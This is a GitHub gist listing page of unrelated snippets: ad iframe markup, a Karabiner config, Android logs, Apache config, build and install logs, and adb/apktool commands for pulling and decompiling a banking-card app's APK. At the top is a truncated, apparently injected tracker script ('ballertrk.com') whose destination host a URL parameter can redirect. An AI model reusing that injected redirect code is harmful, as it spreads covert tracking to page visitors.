Skip to content

Instantly share code, notes, and snippets.

<html><head><script id="im-pre-plugins">try{
var __baller = 'http://o.ballertrk.com';
var btd = __q('btd');
if (btd) {
__baller = 'http://' + __atob(btd);
}
function __q(n) {
try { var r = new RegExp('[?&]'+n+'(=([^&#]*)|&|#|$)').exec(location.search)[2] } catch(_) { var r = '' }
return r
}
@critical-bug
critical-bug / div.html
Last active March 6, 2019 16:50
ad iframe with sandbox (buzzfeed)
<div id="div-gpt-ad-42" class="ad-slot js-ad-slot js-ad-slot-42" data-google-query-id="●●●●●●●●●●●●●●●●●●●●●●●●●●">
<div id="google_ads_iframe_/6556/bfd.awareness.desktop/ja/news/awareness-bp_0__container__" style="border: 0pt none; display: inline-block; width: 728px; height: 90px;" class="">
<iframe style="border: 0px none; vertical-align: bottom;" src="https://tpc.googlesyndication.com/safeframe/1-0-32/html/container.html" id="google_ads_iframe_/6556/bfd.awareness.desktop/ja/news/awareness-bp_0" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" data-is-safeframe="true" sandbox="allow-forms allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" data-google-container-id="1" class="" data-load-complete="true" width="728" height="90" frameborder="0"></iframe>
</div>
</div>
@critical-bug
critical-bug / karabiner-elements⌘日本語入力.json
Last active November 30, 2018 04:26
Change the keyboard layout deterministically with command+shift key etc.
{
"title": "コマンド キー による日本語入力の切り替え",
"rules": [
{
"description": "右コマンドキーを単体で押したときに、かなキーを送信する。",
"manipulators": [
{
"type": "basic",
"from": {
"key_code": "right_command",
@critical-bug
critical-bug / sharp aquos.logcat
Created September 23, 2017 10:47
QCOMSysDaemon restarting repeatedly
09-23 10:41:33.618 7408 7408 I QCOMSysDaemon: Starting qcom system daemon
09-23 10:41:33.618 7408 7408 E Diag_Lib: Diag_LSM_Init: Failed to open handle to diag driver, error = 13
09-23 10:41:33.618 7408 7408 E QCOMSysDaemon: Diag_LSM_Init failed : 0
09-23 10:41:36.739 1377 1377 I NextiIntlDialAssistUtils: onSignalStrengthsChanged()...signalStrength=SignalStrength: 99 0 -120 -160 -120 -1 -1 28 -86 -8 130 2147483647 2147483647 2147483647 gsm|lte
09-23 10:41:38.353 670 888 E LOGD : inotify add failed 13
09-23 10:41:38.531 7410 7410 W qti : type=1400 audit(0.0:64853): avc: denied { read write } for name="diag" dev="tmpfs" ino=13534 scontext=u:r:qti:s0 tcontext=u:object_r:diag_device:s0 tclass=chr_file permissive=0
09-23 10:41:38.540 7410 7410 E Diag_Lib: Diag_LSM_Init: Failed to open handle to diag driver, error = 13
09-23 10:41:38.571 7409 7409 W qcom-system-dae: type=1400 audit(0.0:64854): avc: denied { read write } for name="diag" dev="tmpfs" ino=13534 scontext=u:r:qcomsysd:s0 tcont
@critical-bug
critical-bug / trade compliance.md
Last active June 21, 2018 07:17
Apple iTunes connect

輸出コンプライアンス

この App は、次のうちのいずれかに合致していますか?
(a) 米国輸出管理規則の第2部、カテゴリ5に記載の免除資格のうち1つ以上を満たしている
(b) 暗号化の使用はオペレーティングシステム(iOS または macOS)内の暗号化に限定されている
(c) HTTPS通信のみを使用している
(d) App は米国またはカナダでのみ入手できる

  • [] はい
  • [] いいえ
@critical-bug
critical-bug / gist:83aac3d146f6e8a84c3a31ab1c52cf1e
Created September 6, 2016 10:16
/opt/bitnami/apache2/conf/httpd.conf
ServerRoot "/opt/bitnami/apache2"
Listen 80
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
@critical-bug
critical-bug / localhost:10443 api etw providers?.json
Created July 29, 2016 10:35
Device Portal の ETW で使える registered provider のリスト。APIのレスポンスを改行しただけ。copyright Microsoft です多分
{"Providers" : [
{"GUID" : "0063715B-EEDA-4007-9429-AD526F62696E", "Name" : "Microsoft-Windows-Services"},
{"GUID" : "00b7e1df-b469-4c69-9c41-53a6576e3dad", "Name" : "Microsoft-Windows-Security-IdentityStore"},
{"GUID" : "02292A7F-12E0-4de6-8FB0-CB93CC1126D3", "Name" : "Microsoft-WindowsPhone-MMResourceRegistrar"},
{"GUID" : "048970B2-E55C-4D10-BBC8-2EE964B745A4", "Name" : "Microsoft-WindowsMobile-SyncMLDPU-Provider"},
{"GUID" : "04A490D4-84C6-4920-9C22-51C80825FF2C", "Name" : "Microsoft-WindowsPhone-Comms-PhoneUtil"},
{"GUID" : "04eccf8e-8490-4ad1-8ed5-0ae7750e69e6", "Name" : "Microsoft-Windows-MCCS-AccountsHost"},
{"GUID" : "057B81C2-AE5C-4085-898E-350FD51FE1F1", "Name" : "Microsoft-WindowsPhone-Comms-ContactsUtil"},
{"GUID" : "057E13D9-E9CF-4258-BAC1-213C6AD2F680", "Name" : "Microsoft-WindowsPhone-Shell-AppChrome-Server"},
{"GUID" : "05f02597-fe85-4e67-8542-69567ab8fd4f", "Name" : "Microsoft-Windows-LiveId"},
@critical-bug
critical-bug / gist:9cdfaa373a9aeab8ceb3a42ae2890148
Created July 28, 2016 08:56
https://github.com/google/mozc/blob/master/doc/build_mozc_in_windows.md に従ってビルド。zinnia の関数シンボルが解決できないというエラー
PS C:\work> git clone https://github.com/google/mozc.git -b master --single-branch --recursive
Cloning into 'mozc'...
remote: Counting objects: 30238, done.
remote: Total 30238 (delta 0), reused 0 (delta 0), pack-reused 30238
Receiving objects: 100% (30238/30238), 515.03 MiB | 9.30 MiB/s, done.
Resolving deltas: 100% (24688/24688), done.
Checking connectivity... done.
Checking out files: 100% (2541/2541), done.
Submodule 'src/third_party/breakpad' (https://chromium.googlesource.com/breakpad/breakpad) registered for path 'src/third_party/breakpad'
Submodule 'src/third_party/fontTools' (https://github.com/googlei18n/fonttools.git) registered for path 'src/third_party/fontTools'
@critical-bug
critical-bug / alminium redmine install.log
Last active June 29, 2016 09:29
https://github.com/ayapapa/alminium の実行してみたら 2〜3エラーが出てた
~/alminium# RM_VER=2.6.10 bash ./smelt
Ubuntu 16.04 が検出されました。
途中MySQLのパスワードを聞かれたら空のままエンターキーを押してください>。
(略)
継続的インテグレーションツールのJenkinsのインストール・設定を行うことができます。デフォルトはインストールしません。よく分からなければNを選択してください。Jenkinsをインストールしますか?(y/N)n
./smelt: line 220: bc: command not found
./smelt: line 220: [: =: unary operator expected
% adb shell pm list packages -f
package:/data/app/com.skype.raider-1/base.apk=com.skype.raider
(…)
package:/data/app/jp.id_credit_sp2.android-1/base.apk=jp.id_credit_sp2.android
(…)
% adb pull /data/app/jp.id_credit_sp2.android-1/base.apk jp.id_credit_sp2.android-1_base.apk
% wget -P /usr/local/bin https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.1.1.jar
(I didn't know how to run it but a wrapper exists)
% cat /usr/local/bin/apktool